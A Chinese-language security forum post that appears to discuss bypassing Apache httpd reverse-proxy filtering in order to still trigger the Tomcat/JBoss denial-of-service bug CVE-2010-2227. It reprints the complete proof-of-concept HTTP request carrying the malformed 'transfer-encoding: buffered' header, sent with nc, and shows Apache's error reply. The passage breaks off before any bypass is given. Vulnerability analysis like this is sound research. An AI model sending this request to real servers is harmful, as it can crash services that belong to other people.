绕过 Apache httpproxy 继续DOS TOMCAT/JBOSS
从长远的角度讲，一个完整的安全方案，应该是和现有架构本身的特性，是分开的，它并不能因为现有应用架构拦截了攻击，于是自己就表示影响不大。如果安全方案总是依靠应用现有的特性，那就要承受可能被绕过的隐患，这种隐患，导致我们总有一天，会不得不把补丁老老实实的打上去。如本文就是一个很好的例子。在上一篇文章《Tomcat远程拒绝服务漏洞分析(CVE-2010-2227)》中，笔者根据TOMCAT的补丁，分析出了攻击未修补版本的POC，相信不少人体验了一把。然而在实际使用中，只有小公司喜欢把tomcat放在最外面。大企业都喜欢在tomcat外面使用apache等web server转发，以便获得更好的响应速度，或者为了分离静态文件，减轻服务器压力。
对于这样的情况，你会发现使用笔者给的POC，这里是无效的，关于这一点，官方如下描述“This flaw is mitigated if Tomcat is behind a reverse proxy (such as Apache httpd 2.2) as the proxy should reject the invalid transfer encoding header.”他说如果你的tomcat外面还有一层web server做转发，就会减轻这个漏洞带来的危害。
也许大家看到这个，放心了很多，就没有修补。
官方这么讲，是什么原理呢？我们看下攻击的POC：
POST /CodePK/updateinfo HTTP/1.1 Host: localhost Keep-Alive: 300 Connection: keep-alive transfer-encoding: buffered Content-Length: 145 u_uid=admin&u_pwd0=123456&u_pwd1=&u_pwd2=&u_email=rfes%40rfes.com&u_location=B2B&u_lang=1&u_web=22222222&u_quote=ffvd&u_submit=%E6%8F%90%E4%BA%A4 遇到这样的HTTP头，apache会因为有”transfer-encoding: buffered”，则自动拦截下来，自己处理掉这个数据包，不交给tomcat处理，并直接返回错误。这是出于apache自己的原因造成的，但是这不重要。重要的是，这个拦截的机制，能否被绕过。TOMCAT仍然老老实实的在apache后面等候数据包，如果能绕过，它就会再次忠实的睡大觉。要绕过apache的“自动拦截”(这个名字好记点)，就必须让apache不认识这个头。
发个数据包，这是拦截后返回的信息：
<div style="text-align: center;">A:\tools>nc -vv localhost 80 < aa.txtDNS fwd/rev mismatch: kxlzx != localhostbillgates 80 (http) openHTTP/1.1 500 Internal Server Error……..省略<p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p>…….省略
页:
[1]